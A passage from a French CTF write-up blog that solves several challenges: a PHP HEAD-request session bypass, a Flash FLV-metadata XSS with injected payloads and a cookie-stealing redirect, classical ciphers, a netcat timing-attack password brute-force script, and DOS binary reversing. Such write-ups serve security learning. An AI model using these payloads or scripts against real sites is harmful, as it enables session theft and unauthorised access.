<code>http://208.64.122.29/?members&#038;4kXI0N[]=zenk-security</code></p>
<p>Et OOoOOooh magie, on se retrouve avec un flag et un &laquo;&nbsp;Wrong password&nbsp;&raquo;.<br />
Parfait, il ne reste &laquo;&nbsp;plus qu&#8217;à&nbsp;&raquo; contourner la vérification du mot de passe.</p>
<p>La première chose à laquelle nous avons pensé, c&#8217;est d&#8217;appeler directement le fichier members.php et non depuis l&#8217;include faite par l&#8217;index.<br />
Ainsi, le fichier <strong>params.php</strong> ne sera pas chargé et si la variable <strong>GET['pass’]</strong> n&#8217;est pas renseigné, la condition pour la vérification du mot de passe sera vraie (<strong>NULL===NULL</strong>). Le seul soucis étant que le fichier ne contient pas d&#8217;appel à la fonction <strong>session_start()</strong> et donc les variables de session seront considérées comme de simples variables.</p>
<p>On reste bloqué pendant un petit moment à ce stade là. Après quelques recherches sur google, on tombe sur un paper qui contient la solution du challenge. <a title="trick php head" href="https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf" target="_blank">https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf</a></p>
<p>En français : php stop l&#8217;éxecution du script dès qu&#8217;il rencontre un output lors d&#8217;une requête <strong>HTTP HEAD</strong>.<br />
Juste avant notre <strong>unset($_SESSION['loggedIn’])</strong> nous avons un appel à la fonction <strong>echo()</strong>.<br />
Nous codons un petit script qui envois une requête <strong>HEAD</strong> et qui récupére le <strong>PHPSESSID </strong>généré, et le tour est joué. Nous obtenons le flag en visitant la page <strong>/?login_testing</strong></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">httplib</span>
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
conn = <span style="color: #dc143c;">httplib</span>.<span style="color: black;">HTTPConnection</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;208.64.122.29&quot;</span><span style="color: black;">&#41;</span>
conn.<span style="color: black;">request</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;HEAD&quot;</span>,<span style="color: #483d8b;">&quot;/?members&amp;4kXI0N[]=login&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span>conn.<span style="color: black;">getresponse</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">getheaders</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #3 &#8211; Fantazium</h1>
<p>On trouve un site assez sommaire qui ne contient que 3 pages. Une page principale, un page de contact et une page qui contient un player flash.<br />
Avec l&#8217;expérience, qui dit formulaire de contact sur lequel il est explicitement dit que tous les messages sont regardé dit aussi faille XSS. On part donc sur cette idée.</p>
<p>On s&#8217;aperçoit dans un premier temps qu&#8217;on peut utiliser le player pour lire des fichiers .flv externes.<br />
On fait un tour sur le site du développeur du player flash <a title="flv player" href="http://oos.moxiecode.com/flvplayer/" target="_blank">http://oos.moxiecode.com/flvplayer/</a><br />
Très vite, une option nous interpelle : <strong>jsCallback</strong>. Le site nous informe que le player appel la fonction javascript</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">flvStart<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'width_in_pixels'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'height_in_pixels'</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>lorsque le player démarre.<br />
On décompile le player, <a title="player decompilation" href="http://pastebin.com/QJ9BPMhs" target="_blank">http://pastebin.com/QJ9BPMhs</a><br />
Ligne 333:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>jsCallback<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
getURL<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;javascript:flvStart(<span style="color: #000099; font-weight: bold;">\'</span>&quot;</span> <span style="color: #339933;">+</span> metaWidth <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;<span style="color: #000099; font-weight: bold;">\'</span>,<span style="color: #000099; font-weight: bold;">\'</span>&quot;</span> <span style="color: #339933;">+</span> metaHeight <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;<span style="color: #000099; font-weight: bold;">\'</span>)&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Les arguments passé à la fonction <strong>flvStart()</strong> correspondent aux meta width et height du fichier .flv donné à lire. <strong>Une XSS est donc possible!</strong><br />
On trouve un petit outil en cherchant sur google qui permet de modifier les metas d&#8217;un fichier flv.<br />
On commence par injecter <strong>&#8216;);alert(0)//</strong>. On a alors un message d&#8217;erreur disant que la fonction <strong>flvStart()</strong> n&#8217;est pas définie.<br />
On teste donc <strong>&#8216;);function flvStart(){alert(0);}//</strong> En envoyant le fichier flv dans le lecteur on a bien la fenêtre alert.<br />
Il reste à remplacer le <strong>alert</strong> par une redirection vers une page qui capte les cookies</p>
<p>On fait passer le lien dans le formulaire de contact avec notre fichier flv malicieux et hop, on récupère les cookies avec le flag <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #4 &#8211; ER?</h1>
<p>Nous sommes face à un texte assez long qui comporte des notes. Nous avons tout de suite pensé à un texte provenant de Wikipedia chiffré grâce à <a title="Vigenère" href="http://fr.wikipedia.org/wiki/Chiffre_de_Vigen%C3%A8re" target="_blank">l&#8217;algorithme de Vigenère</a>.<br />
En lançant un test sur <a title="indice de coïncidence" href="http://fr.wikipedia.org/wiki/Indice_de_co%C3%AFncidence" target="_blank">l&#8217;indice de coïncidence</a>, celui-ci nous informe que la clé est très probablement de 21 caractères.<br />
Nous allons donc tester cela en utilisant un module python que nous utilisons assez souvent en CTF et dernièrement utilisé pour les pré qualifications de la <a title="Nuit du hack" href="http://www.nuitduhack.com" target="_blank">Nuit Du Hack 2011</a> ; <a title="PyGenere" href="http://smurfoncrack.com/pygenere/pygenere.py" target="_blank">PyGenere</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> PyGenere <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
ciphertext = <span style="color: #483d8b;">&quot;NOTRE TEXTE CHIFFRÉ&quot;</span>
lang = <span style="color: #483d8b;">'EN'</span>
<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>,<span style="color: #ff4500;">22</span><span style="color: black;">&#41;</span>:
<span style="color: #ff7700;font-weight:bold;">print</span> i
<span style="color: #ff7700;font-weight:bold;">print</span> VigCrack<span style="color: black;">&#40;</span>ciphertext<span style="color: black;">&#41;</span>.<span style="color: black;">set_language</span><span style="color: black;">&#40;</span>lang<span style="color: black;">&#41;</span>.<span style="color: black;">crack_codeword</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span></pre></div></div>

<p>En supposant que la clé de 21 caractère est la bonne, nous tentons de décoder notre texte avec celle-ci :</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">print</span> Vigenere<span style="color: black;">&#40;</span>ciphertext<span style="color: black;">&#41;</span>.<span style="color: black;">decipher</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;BACBAEBBCFFAAEAADFEAC&quot;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>Effectivement, nous avons bien un article de wikipedia en clair. Le flag de l&#8217;épreuve est donc : <strong>BACBAEBBCFFAAEAADFEAC</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #5 &#8211; Change</h1>
<p>En regardant de plus prêt le texte, nous avons (comme sur l&#8217;épreuve précédente) des petites notes à la sauce Wikipedia. Au départ nous étions partis sur du Vigenère, mais nos recherches ont été infructueuses. En recherchant les dates et chiffres du texte chiffré sur google [ site:en.wikipedia.org 13.7 1927 1949 1964 ], nous avons un premier résultat qui concorde directement avec le texte chiffré. À partir de là, nous nous sommes intéressés à la méthode de substitution mono-alphabétique.<br />
En faisant une <a title="substitution mono-alphabétique" href="http://www.dcode.fr/substitution-mono-alphabetique" target="_blank">attaque par mot probable</a>, on retrouve petit à petit la clé qui a permis de chiffrer le texte.</p>
<p>Le flag de l&#8217;épreuve est donc : <strong>DAFBCERXZWMNGLQIOHJTKYUPVS</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #6 &#8211; Call me</h1>
<p>Le titre de l&#8217;épreuve est très révélateur. Une suite de chiffre nous est fourni :</p>
<p>6-666-22-444-555-33-444-7777-222-666-666-555-7777-88-22-6-444-8-8-44-444-7777-333-666-777-7777-666-6-33-7-666-444-66-8-7777</p>
<p>On se réfère à notre clavier de téléphone portable et nous avons notre flag : <strong>MOBILEISCOOLSUBMITTHISFORSOMEPOINTS</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #7 &#8211; X97</h1>
<p>Intitulé :</p>
<p>« this is one of their machines which have very sensitive informations ,<br />
try to get for us the password<br />
208.64.122.27<br />
PORT : 3000 »</p>
<p>On se connecte donc au serveur sur ce port (avec netcat ou telnet) :<br />
<code>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
_ _ 99 _________ ______ ______ _ _ _____ ______ ______<br />
\ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | |<br />
&gt;|--|&lt; | | | | | | | |__| | | | | |--| | | | | | | | | |----/_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</code><br />
Authentication Required Password : Demande de mot de passe -> on teste quelques possibilités jusqu&#8217;à ce qu&#8217;on se rende compte que, bizarrement, l&#8217;attente entre l&#8217;annonce du mauvais mot de passe et le moment où on a entré le mot de passe est plus longue. Ainsi, pour w, on note que le temps d&#8217;attente est de 5 secondes alors qu&#8217;il est quasi immédiat dans les autres cas.</p>
<p>On en déduit la présence d&#8217;une sorte de timing attack sur le mot de passe, assez exagérée. Au final on découvre que chaque bon char, dans l&#8217;ordre, ajoute 5 secondes de latence. On a terminé l&#8217;épreuve à l&#8217;aide de ce script :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
&nbsp;
<span style="color: #007800;">passwd</span>=<span style="color: #ff0000;">'w3_0wn_7h15_f0r_r34L'</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> a b c d e f g h i j k l m n o p q r s t u v <span style="color: #c20cb9; font-weight: bold;">w</span> x y z <span style="color: #000000;">0</span> <span style="color: #000000;">1</span> <span style="color: #000000;">2</span> <span style="color: #000000;">3</span> <span style="color: #000000;">4</span> <span style="color: #000000;">5</span> <span style="color: #000000;">6</span> <span style="color: #000000;">7</span> <span style="color: #000000;">8</span> <span style="color: #000000;">9</span> _ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
<span style="color: #000000; font-weight: bold;">do</span>
  <span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${passwd}</span><span style="color: #007800;">${i}</span>&quot;</span>; <span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">104</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">|</span> nc 208.64.122.27 <span style="color: #000000;">3000</span> <span style="color: #660033;">-c</span>  <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #ff0000;">'Authentication Failed'</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #800000;">${passwd}</span><span style="color: #800000;">${i}</span> <span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

<p>passwd contient la partie du mot de passe que l&#8217;on connait, le sleep est lui d&#8217;une durée de bon_char*5-1 seconde. Un script manuel a été préféré à un script automatique du fait de ma mauvaise connexion.</p>
<p>Le mot de passe final était donc <strong>w3_0wn_7h15_f0r_r34L</strong> et le flag<br />
<strong>0xFEFERKJ8389743GH79G6D368GT093</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #10 &#8211; Memories of never ending pain</h1>
<p>Il s&#8217;exécute sans souci sur un Windows XP 32 bits.</p>
<p>Pour le désassembler, IDA bug, et les autres habituels tels que Olly ne prennent pas le 16-bit.<br />
On utilise « Turbo Debugger for DOS », que l&#8217;on retrouve ici:</p>
<p><a title="http://www.woodmann.com/collaborative/tools/images/Bin_Turbo_Debugger_2009-6-17_13.16_tdbg55.zip" href="http://www.woodmann.com/collaborative/tools/images/Bin_Turbo_Debugger_2009-6-17_13.16_tdbg55.zip">http://www.woodmann.com/collaborative/tools/images/Bin_Turbo_Debugger_2009-6-17_13.16_tdbg55.zip</a></p>
<p>Le binaire n&#8217;a aucun symboles, pas d&#8217;appels vers des libs Win etc, juste des interruptions.<br />
On va donc chercher à quel moment il lit les données, pour commencer.<br />
On lit <a title="http://en.wikipedia.org/wiki/BIOS_interrupt_call" href="http://en.wikipedia.org/wiki/BIOS_interrupt_call">http://en.wikipedia.org/wiki/BIOS_interrupt_call</a>, on se rend compte qu&#8217;il nous faut une interruption <strong>16h</strong>, qui est celle communiquant avec le clavier. On s&#8217;attend à avoir <strong>AH</strong> set à <strong>0</strong> avant l&#8217;interruption.</p>
<p>On trouve alors ce que l&#8217;on cherche, en <strong>0x025D</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ax</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">16</span>
<span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

<p>On va donc break sur le <em>ret</em>, en <strong>0&#215;0261</strong>, pour revenir dans la fonction qui a demandé à lire le char, pour étudier celle-ci.<br />
Après un run, avoir entré un char (on n&#8217;entre que des <em>&#8216;a</em>&#8216;), et step, on retombe juste en dessous, en <strong>0x026F</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">si</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0114</span><span style="color: #009900; font-weight: bold;">&#93;</span>
		    <span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">09</span>
		 <span style="color: #339933;">+</span>&gt; <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0104</span><span style="color: #009900; font-weight: bold;">&#93;</span> 		<span style="color: #666666; font-style: italic;">; call 0x25D / read char</span>
		 |  <span style="color: #00007f; font-weight: bold;">test</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #00007f;">al</span>
		 |  <span style="color: #00007f; font-weight: bold;">je</span> 028B     <span style="color: #339933;">--+</span>
		 |  <span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> 0D    |
		 |  <span style="color: #00007f; font-weight: bold;">je</span> 028B     <span style="color: #339933;">--+</span>
		 |  <span style="color: #00007f; font-weight: bold;">rol</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">03</span>    |
		 |  <span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">19</span>    |
		 |  <span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">si</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">al</span>  |
	         |  <span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">si</span>        |
		 |  <span style="color: #339933;">...</span>           |
		 |  <span style="color: #00007f; font-weight: bold;">test</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #00007f;">bl</span>   |
		 |  <span style="color: #00007f; font-weight: bold;">je</span> 028B   <span style="color: #339933;">----+</span>
		 <span style="color: #339933;">+-</span> <span style="color: #00007f; font-weight: bold;">jmp</span> 026B      |
			<span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

<p>Cette fonction lit 9 char, sauf si elle reçoit un <strong>0&#215;0</strong> ou <strong>0xD</strong> ( <em>&#8216;\r</em>&#8216; ).<br />
Cela nous donne une fonction similaire à la suivante en C:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> get_input<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">char</span> s<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">13</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// &amp;s = 0x138 ( si )</span>
	<span style="color: #993333;">char</span> c<span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> bl <span style="color: #339933;">=</span> <span style="color: #0000dd;">8</span><span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		c <span style="color: #339933;">=</span> getchar<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// al = c</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>c <span style="color: #339933;">==</span> <span style="color: #208080;">0x00</span> <span style="color: #339933;">||</span> c <span style="color: #339933;">==</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\r</span>'</span><span style="color: #009900;">&#41;</span>
			<span style="color: #b1b100;">return</span> s<span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>bl<span style="color: #339933;">--</span> <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
			<span style="color: #b1b100;">return</span> s<span style="color: #339933;">;</span>
&nbsp;
		asm <span style="color: #993333;">volatile</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;rol $0x03, %%al<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>
				xor $0x19, %%al<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
				<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;=a&quot;</span><span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span>
				<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;a&quot;</span><span style="color: #009900;">&#40;</span>c<span style="color: #009900;">&#41;</span>
				<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;ax&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Probablement n'importe quoi niveau input / output / clobber :D</span>
&nbsp;
		s<span style="color: #009900;">&#91;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> c<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// mov [si], al ; inc si</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>On retient surtout que notre chaîne est stockée « <em>cryptée</em> » en mémoire, avec un rol / xor appliqué sur le char reçu.<br />
Entrer <em>&#8216;a</em>&#8216; écrit <strong>0&#215;12</strong> en mémoire.</p>
<p>On break sur le <em>ret</em>, en <strong>0x28b</strong>, puis on step pour arriver sur:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #009900; font-weight: bold;">&#91;</span>010A<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; Affiche &quot;Authorization code :&quot;</span>
<span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0106</span><span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; Lit le code</span>
<span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #009900; font-weight: bold;">&#91;</span>010E<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; ? Check code ?</span>
<span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

<p>On suit donc l&#8217;exécution, on tombe sur:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0x114</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">si</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0x116</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x9</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">dx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">bx</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">si</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">test</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #00007f;">al</span>
<span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x145</span></pre></div></div>

<p>Cette partie compare 2 chaînes, et on retrouve notre chaîne « <em>cryptée</em> » <strong>0&#215;12</strong> * 9.</p>
<p><img title="debug_dos, Feb 2012" src="http://blog.w3challs.com/public/debug_dos.png" alt="debug_dos" /></p>
<p>Elle est comparée à celle pointée par si (<strong>0148</strong>): <strong>0xA0 0x8B 0&#215;98 0x7B 0&#215;63 0&#215;90 0&#215;98 0&#215;90 0&#215;63</strong></p>
<p>On sort python pour inverser le xor / rol et:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">	<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">def</span> ror<span style="color: black;">&#40;</span>byte, count<span style="color: black;">&#41;</span>:
	...     <span style="color: #ff7700;font-weight:bold;">while</span> count <span style="color: #66cc66;">&gt;</span> <span style="color: #ff4500;">0</span>:
	...         <span style="color: black;">byte</span> = <span style="color: black;">&#40;</span>byte <span style="color: #66cc66;">&gt;&gt;</span> <span style="color: #ff4500;">1</span> | byte <span style="color: #66cc66;">&lt;&lt;</span> <span style="color: #ff4500;">7</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">&amp;</span> 0xFF 	...         <span style="color: black;">count</span> -= <span style="color: #ff4500;">1</span> 	...     <span style="color: #ff7700;font-weight:bold;">return</span> byte 	...  	<span style="color: #66cc66;">&gt;&gt;&gt;</span> l = <span style="color: black;">&#91;</span>0xA0, 0x8B, 0x98, 0x7B, 0x63, 0x90, 0x98, 0x90, 0x63<span style="color: black;">&#93;</span>
	<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #483d8b;">''</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>ror<span style="color: black;">&#40;</span>0x19 ^ i, <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> l<span style="color: black;">&#41;</span>
	<span style="color: #483d8b;">'7R0LO101O'</span></pre></div></div>

<p>On a notre flag: <strong>7R0LO101O</strong>.</p>
